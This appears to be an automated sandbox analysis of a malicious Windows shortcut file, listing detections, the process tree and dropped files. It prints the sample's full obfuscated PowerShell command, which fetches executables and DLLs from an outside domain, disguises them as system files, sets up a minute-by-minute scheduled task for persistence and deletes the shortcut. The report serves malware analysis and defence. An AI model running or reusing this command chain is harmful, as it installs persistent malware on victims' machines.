Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
15/04/2026, 14:05
General
- Target _045d995dee9b3fba080415be55c932f245582c44d70243fc3fbf0174fd3495bd.lnk
- Size 3KB
- Sample260415-rdykqagv3k
- SHA256 045d995dee9b3fba080415be55c932f245582c44d70243fc3fbf0174fd3495bd
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Downloads MZ/PE file 4 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\_045d995dee9b3fba080415be55c932f245582c44d70243fc3fbf0174fd3495bd.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue';$a='https:';$b='C:\Users\Public';$d='psca-gop.org';iw''r $a//$d/AM/B1 -o $b\Report_2026.pdf;s''ap''s $b\Report_2026.pdf;iw''r $a//$d/AT/O0 -o $b\la;r''en $b\la $b\SystemSettings.exe;iw''r $a//$d/AS/Zm -o $b\le;r''en $b\le $b\SystemSettings.dll;iw''r $a//$d/AU/XQ -o $b\lx;r''en $b\lx $b\vcruntime140.dll;iw''r $a//$d/AQ/QK -o $b\ll;r''en $b\ll $b\msvcp140.dll;iw''r $a//$d/AR/EQ -o $b\lb;r''en $b\lb $b\readme.DAT;c''p''i $b\Report_2026.pdf -d .;&(g''cm sch*) /c''r''e''a''te /''S''c minute /''tn GoogleReport /t''r $b\SystemSettings /f;r''m *6.?n?;2⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /Sc minute /tn GoogleReport /tr C:\Users\Public\SystemSettings /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Public\SystemSettings.exeC:\Users\Public\SystemSettings1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Users\Public\SystemSettings.EXEC:\Users\Public\SystemSettings.EXE1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_3fnvkqwq.xm5.ps1
SystemSettings.dll
SystemSettings.exe
readme.DAT
memory/960-81-0x0000000000400000-0x0000000000440000-memory.dmp
memory/960-70-0x0000000002900000-0x0000000002945000-memory.dmp
memory/960-69-0x0000000073FF0000-0x000000007400C000-memory.dmp
memory/960-65-0x0000000000400000-0x0000000000440000-memory.dmp
memory/960-61-0x0000000000400000-0x0000000000440000-memory.dmp
memory/960-42-0x0000000000400000-0x0000000000440000-memory.dmp
memory/4408-36-0x000002A6F3970000-0x000002A6F397C000-memory.dmp
memory/4408-14-0x000002A6F3970000-0x000002A6F397C000-memory.dmp
memory/4676-3-0x000001CAF0140000-0x000001CAF0150000-memory.dmp
memory/4676-35-0x000001CAEE020000-0x000001CAEE02C000-memory.dmp
memory/4676-22-0x000001CAF0140000-0x000001CAF0150000-memory.dmp
memory/4676-15-0x000001CAEE020000-0x000001CAEE02C000-memory.dmp
memory/4676-13-0x000001CAF0140000-0x000001CAF0150000-memory.dmp
memory/4676-12-0x000001CAF0140000-0x000001CAF0150000-memory.dmp
memory/4676-9-0x000001CAEFFF0000-0x000001CAF0012000-memory.dmp
memory/4676-2-0x000001CAF0140000-0x000001CAF0150000-memory.dmp
memory/5316-113-0x0000000000400000-0x0000000000440000-memory.dmp
memory/5316-114-0x0000000073FF0000-0x000000007400C000-memory.dmp